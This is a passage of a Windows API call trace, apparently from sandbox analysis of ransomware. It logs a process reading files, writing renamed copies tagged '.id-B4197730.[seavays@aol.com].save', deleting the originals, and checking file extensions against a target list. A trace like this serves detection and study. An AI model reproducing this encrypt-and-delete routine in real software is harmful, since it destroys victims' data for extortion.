[0052.482] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0052.482] lstrlenW (lpString="LocalizedData.xml") returned 17 [0052.482] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.483] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=65238) returned 1 [0052.483] CloseHandle (hObject=0x30c) returned 1 [0052.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0052.483] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0052.483] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.483] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0052.483] GetLastError () returned 0x0 [0052.483] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0053.003] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0053.005] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.005] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.006] SetEndOfFile (hFile=0x310) returned 1 [0053.006] CloseHandle (hObject=0x310) returned 1 [0053.008] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.008] SetEndOfFile (hFile=0x30c) returned 1 [0053.009] CloseHandle (hObject=0x30c) returned 1 [0053.009] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.009] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0053.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.010] lstrlenW (lpString=".doc") returned 4 [0053.010] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.010] lstrlenW (lpString=".docx") returned 5 [0053.010] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.010] lstrlenW (lpString=".pdf") returned 4 [0053.010] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.010] lstrlenW (lpString=".xls") returned 4 [0053.010] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.010] lstrlenW (lpString=".xlsx") returned 5 [0053.010] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.010] lstrlenW (lpString=".ppt") returned 4 [0053.010] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.010] lstrlenW (lpString=".zip") returned 4 [0053.010] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.010] lstrlenW (lpString=".rar") returned 4 [0053.010] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.010] lstrlenW (lpString=".bz2") returned 4 [0053.010] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.010] lstrlenW (lpString=".7z") returned 3 [0053.010] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.010] lstrlenW (lpString=".dbf") returned 4 [0053.010] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.011] lstrlenW (lpString=".1cd") returned 4 [0053.011] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.011] lstrlenW (lpString=".jpg") returned 4 [0053.011] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.011] lstrlenW (lpString=".doc") returned 4 [0053.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString=".docx") returned 5 [0053.011] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.011] lstrlenW (lpString=".pdf") returned 4 [0053.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString=".xls") returned 4 [0053.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString=".xlsx") returned 5 [0053.011] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.011] lstrlenW (lpString=".ppt") returned 4 [0053.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.011] lstrlenW (lpString=".zip") returned 4 [0053.011] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.011] lstrlenW (lpString=".rar") returned 4 [0053.011] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString=".bz2") returned 4 [0053.011] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.011] lstrlenW (lpString=".7z") returned 3 [0053.011] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.012] lstrlenW (lpString=".dbf") returned 4 [0053.012] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.012] lstrlenW (lpString=".1cd") returned 4 [0053.012] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0053.012] lstrlenW (lpString=".jpg") returned 4 [0053.012] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.012] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.012] lstrlenW (lpString="LocalizedData.xml") returned 17 [0053.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0053.012] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=77680) returned 1 [0053.012] CloseHandle (hObject=0x30c) returned 1 [0053.012] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0053.012] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0053.013] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.013] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.013] GetLastError () returned 0x0 [0053.013] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0053.016] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0053.018] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.018] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf6, lpOverlapped=0x0) returned 1 [0053.018] SetEndOfFile (hFile=0x310) returned 1 [0053.018] CloseHandle (hObject=0x310) returned 1 [0053.021] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.021] SetEndOfFile (hFile=0x30c) returned 1 [0053.026] CloseHandle (hObject=0x30c) returned 1 [0053.026] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.026] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0053.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.026] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.026] lstrlenW (lpString=".doc") returned 4 [0053.026] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.026] lstrlenW (lpString=".docx") returned 5 [0053.026] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.027] lstrlenW (lpString=".pdf") returned 4 [0053.027] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString=".xls") returned 4 [0053.027] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString=".xlsx") returned 5 [0053.027] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.027] lstrlenW (lpString=".ppt") returned 4 [0053.027] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.027] lstrlenW (lpString=".zip") returned 4 [0053.027] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.027] lstrlenW (lpString=".rar") returned 4 [0053.027] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString=".bz2") returned 4 [0053.027] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString=".7z") returned 3 [0053.027] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.027] lstrlenW (lpString=".dbf") returned 4 [0053.027] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.027] lstrlenW (lpString=".1cd") returned 4 [0053.027] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.027] lstrlenW (lpString=".jpg") returned 4 [0053.027] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.027] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.027] lstrlenW (lpString=".doc") returned 4 [0053.028] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString=".docx") returned 5 [0053.028] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0053.028] lstrlenW (lpString=".pdf") returned 4 [0053.028] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString=".xls") returned 4 [0053.028] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString=".xlsx") returned 5 [0053.028] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0053.028] lstrlenW (lpString=".ppt") returned 4 [0053.028] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.028] lstrlenW (lpString=".zip") returned 4 [0053.028] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0053.028] lstrlenW (lpString=".rar") returned 4 [0053.028] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString=".bz2") returned 4 [0053.028] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString=".7z") returned 3 [0053.028] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0053.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.028] lstrlenW (lpString=".dbf") returned 4 [0053.028] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.028] lstrlenW (lpString=".1cd") returned 4 [0053.028] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0053.028] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0053.028] lstrlenW (lpString=".jpg") returned 4 [0053.028] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0053.029] lstrcmpiW (lpString1=".rtf", lpString2=".save") returned -1 [0053.029] lstrlenW (lpString="eula.rtf") returned 8 [0053.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0053.029] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=3859) returned 1 [0053.029] CloseHandle (hObject=0x30c) returned 1 [0053.029] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0053.029] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0053.029] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.029] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.029] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0053.030] GetLastError () returned 0x0 [0053.030] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xf13, lpOverlapped=0x0) returned 1 [0053.031] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xf20, lpOverlapped=0x0) returned 1 [0053.032] ReadFile (in: hFile=0x30c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0053.032] WriteFile (in: hFile=0x310, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0053.032] SetEndOfFile (hFile=0x310) returned 1 [0053.032] CloseHandle (hObject=0x310) returned 1 [0053.033] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.033] SetEndOfFile (hFile=0x30c) returned 1 [0053.034] CloseHandle (hObject=0x30c) returned 1 [0053.034] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0053.034] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0053.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.035] lstrlenW (lpString=".doc") returned 4 [0053.035] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.035] lstrlenW (lpString=".docx") returned 5 [0053.035] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.035] lstrlenW (lpString=".pdf") returned 4 [0053.035] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.035] lstrlenW (lpString=".xls") returned 4 [0053.035] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.035] lstrlenW (lpString=".xlsx") returned 5 [0053.035] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.035] lstrlenW (lpString=".ppt") returned 4 [0053.035] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.035] lstrlenW (lpString=".zip") returned 4 [0053.035] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.035] lstrlenW (lpString=".rar") returned 4 [0053.035] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.035] lstrlenW (lpString=".bz2") returned 4 [0053.706] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.706] lstrlenW (lpString=".7z") returned 3 [0053.706] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.706] lstrlenW (lpString=".dbf") returned 4 [0053.706] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.706] lstrlenW (lpString=".1cd") returned 4 [0053.706] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.706] lstrlenW (lpString=".jpg") returned 4 [0053.706] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.706] lstrlenW (lpString=".doc") returned 4 [0053.706] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0053.706] lstrlenW (lpString=".docx") returned 5 [0053.706] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0053.706] lstrlenW (lpString=".pdf") returned 4 [0053.707] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0053.707] lstrlenW (lpString=".xls") returned 4 [0053.707] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0053.707] lstrlenW (lpString=".xlsx") returned 5 [0053.707] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0053.707] lstrlenW (lpString=".ppt") returned 4 [0053.707] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0053.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.707] lstrlenW (lpString=".zip") returned 4 [0053.707] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0053.707] lstrlenW (lpString=".rar") returned 4 [0053.707] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0053.707] lstrlenW (lpString=".bz2") returned 4 [0053.707] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0053.707] lstrlenW (lpString=".7z") returned 3 [0053.707] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0053.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.707] lstrlenW (lpString=".dbf") returned 4 [0053.707] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0053.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.707] lstrlenW (lpString=".1cd") returned 4 [0053.707] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0053.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0053.708] lstrlenW (lpString=".jpg") returned 4 [0053.708] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0053.708] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0053.708] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0053.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0053.708] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=201796) returned 1 [0053.708] CloseHandle (hObject=0x348) returned 1 [0053.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0053.708] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0053.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0053.709] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.709] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0053.709] GetLastError () returned 0x0 [0053.709] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x31444, lpOverlapped=0x0) returned 1 [0053.716] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x31450, lpOverlapped=0x0) returned 1 [0053.719] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, 